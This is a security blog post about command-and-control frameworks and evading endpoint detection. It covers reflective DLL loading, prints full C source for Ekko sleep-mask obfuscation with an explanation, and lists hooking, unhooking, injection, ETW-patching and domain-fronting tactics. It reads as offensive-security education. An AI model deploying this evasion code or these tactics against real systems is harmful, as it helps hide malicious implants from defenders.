By Hossam Ehab
Last updated Jun 01, 2024 - 13 Minutes Read
Today's Table of Content [ Part 3 ]
Third Part:
- Entire extebsions of the Meterpreter & Code Analysis
- RDI in modern C2
- Evading EDRs with modern evasive techniques
- How is the ReflectiveLoader Function Called in a DLL
- Hooking techniques used by security tools ( AVs, RDRs, etc. )
Let's delve into the inner workings of Metasploit, particularly when it comes to essential operations like uploading and downloading files. To truly grasp these processes we need to start at the core of Metasploit and examine how the stdapi DLL operates and this journey will also shed light on the role of the reflective loader in dynamically loading the stdapi DLL into memory.
As you observe this complex system includes bringing in the reflectiveloader, a crucial part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better grasp how it works!
RDI in modern C2
In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.
This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection ( RDI ), the entire memory region for DLL(s) is set to be RWX ( read, write, execute ). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.
Introduction to Sleep Mask Obfuscation :-
Consider the scenario that the adversary wants to execute a payload without got detection
The importance of Sleep Mask Obfuscation lies in its ability to intermittently modify the execution state and memory characteristics of the payload. This is achieved through a combination of Return-Oriented Programming ( ROP ) chains and cryptographic operations which serve to intermittently encrypt and decrypt the payload in memory coupled with changing the memory's protection flags to prevent static analysis tools from easily dissecting the malicious code.
Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :
/* Title : StealthCode Execution - Ekko's Method for Concealing Active Processes Credits : Peter Winter-Smith (MDSec) / @C5pider / Austin Hudson (@SecIdiot)*/ #include <windows.h> #include <stdio.h> #define _CRT_RAND_S #include <stdlib.h> #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) typedef struct { DWORDLength; DWORDMaximumLength; PVOIDBuffer; } USTRING ; VOID EkkoObf( DWORD SleepTime ) { CONTEXT CtxThread = { 0 }; CONTEXT RopProtRW = { 0 }; CONTEXT RopMemEnc = { 0 }; CONTEXT RopDelay = { 0 }; CONTEXT RopMemDec = { 0 }; CONTEXT RopProtRX = { 0 }; CONTEXT RopSetEvt = { 0 }; HANDLE hTimerQueue = NULL; HANDLE hNewTimer = NULL; HANDLE hEvent = NULL; PVOID ImageBase = NULL; DWORD ImageSize = 0; DWORD OldProtect = 0; // Randomly Generated CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; } USTRING Key = { 0 }; USTRING Img = { 0 }; PVOID NtContinue = NULL; PVOID SysFunc032 = NULL; hEvent = CreateEventW( 0, 0, 0, 0 ); hTimerQueue = CreateTimerQueue(); NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" ); SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" ); ImageBase = GetModuleHandleA( NULL ); ImageSize = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; Key.Buffer = KeyBuf; Key.Length = Key.MaximumLength = 16; Img.Buffer = ImageBase; Img.Length = Img.MaximumLength = ImageSize; if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) { WaitForSingleObject( hEvent, 0x32 ); memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = &OldProtect; // "RtlEncryptDecryptRC4" // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = SysFunc032; RopMemEnc.Rcx = &Img; RopMemEnc.Rdx = &Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = WaitForSingleObject; RopDelay.Rcx = NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = SysFunc032; RopMemDec.Rcx = &Img; RopMemDec.Rdx = &Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = VirtualProtect; RopProtRX.Rcx = ImageBase; RopProtRX.Rdx = ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = &OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = SetEvent; RopSetEvt.Rcx = hEvent; puts( "[INFO] Queue timers" ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); puts( "[INFO] Wait for hEvent" ); WaitForSingleObject( hEvent, INFINITE ); puts( "[INFO] Finished waiting for event" ); } DeleteTimerQueue( hTimerQueue ); } int main(void) { puts( "[*] Ekko Sleep Obfuscation by C5pider" ); printf("Module addr: %p\n", GetModuleHandle(NULL)); do { // Start Sleep Obfuscation EkkoObf( 7 * 1000 ); } while ( TRUE ); return 0; }
Code Explanation:
Encryption and Decryption Mechanism: The crux of Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly generated cryptographic key:
CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }
This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.
Dynamic Memory Protection: To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls to
VirtualProtect
, altering the memory protection status:RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;
Initially, the memory region is set to PAGE_READWRITE
to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE
for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.
- Timed Execution and Obfuscation: The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.
- Return-Oriented Programming ( ROP ) Chains: Shortly, Return-Oriented Programming ( ROP ) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in a
ret
instruction, allowing an attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)
Here, SysFunc032
is indirectly invoked via an ROP gadget, effectively encrypting or decrypting the target memory region without a direct call. This indirect method of execution is less likely to trigger security mechanisms that monitor for malicious API usage.
Traditional Methods Weakness
Old ways of injecting processes, once really strong, are now easy to spot by new EDRs. Modern C2 systems got smarter, using simple API calls like GetProcAddress and GetModuleHandle to stay hidden.
Hooking
Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.
User Mode Hooking: Uses basic tricks like messing with the IAT ( Import Address Table ), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.
Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT ( Interrupt Descriptor Table ), and tweaking MSR ( Model Specific Registers ). This deep level trickery messes with system calls, giving more control and hiding.
Function Hooking Types (Simple Examples)
IAT Hooking | User-mode |
|
Inline Hooking | User-mode |
|
Detour/Trampoline Hooking | User-mode |
|
VTable Hooking | User-mode |
|
API Hooking Libraries | User-mode |
|
SSDT Hooking | Kernel-mode |
|
IDT Hooking | Kernel-mode |
|
Inline Hooking in Kernel | Kernel-mode |
|
Driver Object Hooking | Kernel-mode |
|
VMI (Virtual Machine Introspection) | Hypervisor |
|
Blue Pill Technique | Hypervisor |
|
PatchGuard Bypass | Kernel-mode |
|
User-Mode Rootkit Techniques | User-mode |
|
Object Hooking | User-mode |
|
Global Hooking | User-mode |
|
Kernel Debugger Hooking | Kernel-mode |
|
EPT (Extended Page Table) Hooking | Hypervisor |
|
DKOM (Direct Kernel Object Manipulation) | Kernel-mode |
|
Heuristic-based Hooking | User-mode |
|
Syscall Proxying | User-mode |
|
Hardware Breakpoints
In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.
Threadless Injection & Sleep Mask Obfuscation
- Threadless Injection: Avoids making new threads to lower chances of being caught by EDRs.
- Sleep Mask Obfuscation: Tricks with operation timing and length to stay hidden.
More Simple Evasion Techniques
Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.
The most used server side evasive techniques in C&C frameworks
Malleable C2 Profiles : frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection
Encryption and Obfuscation : Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic
Domain Fronting : C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic
Dynamic Domain Generation Algorithms ( DGAs ) : generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively
Redundant C2 Infrastructure : ensuring operational continuity even if some servers are detected and taken down
JA3/S Fingerprint Manipulation : manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection
Custom Protocol Obfuscation : use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems
The most used client side ( Loader ) evasive techniques in C&C frameworks
- Process Injection : Inject malicious code into legitimate processes to avoid detection
- DLL Side-Loading : Load malicious DLLs into vulnerable legitimate processes
- Fileless Execution : Execute code directly in memory without leaving traces on disk
- Code Obfuscation : Hide the true purpose of code to make analysis difficult
- Delayed Execution : Delay running malicious code to evade initial detection
- Anti-Debugging Techniques : Detect and evade debugging attempts
- Anti-Sandbox Techniques : Identify and alter behavior to evade sandbox environments
- Unhooking User-Land Hooks : Remove hooks injected by security systems in system libraries
- Unhooking Import Address Table ( IAT ) : Remove hooks in the Import Address Table
- DirectSys Calls : Use direct system calls instead of APIs to bypass hooking
- Merge Module Stomping : Combine with unhooking methods to evade detection further
- UUID Obfuscation : Obfuscate shellcode to evade signature-based detection
- Domain Fronting with Random Traffic Profiles : Use domain fronting with randomized traffic to evade network detection
- Patching Process Event Tracing : Prevent logging by security systems
- Spoofed Fake Certificates : Use fake certificates to appear legitimate
- Code Metamorphism and Noise Insertion : Constantly change code structure and behavior to evade detection
References & Resources:
- Meterpreter Internals - Presented By ( OJ Reeves ): https://www.youtube.com/watch?v=ZKznMBWUQ_c&t=716s
- Reflective DLL Injection v1.0 By ( Stephen Fewer ): https://www.dc414.org/wp-content/uploads/2011/01/242.pdf
- Developing custom shellcode in x64 using pure assembly: https://wajid-nawazish.medium.com/developing-custom-shellcode-in-x64-57172a885d77
- Command & Control ( C2 ) Explained ( Dan Duran ): https://www.youtube.com/watch?v=gSeHs43E0qs
Disclaimer
- The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.
Thanks for reading!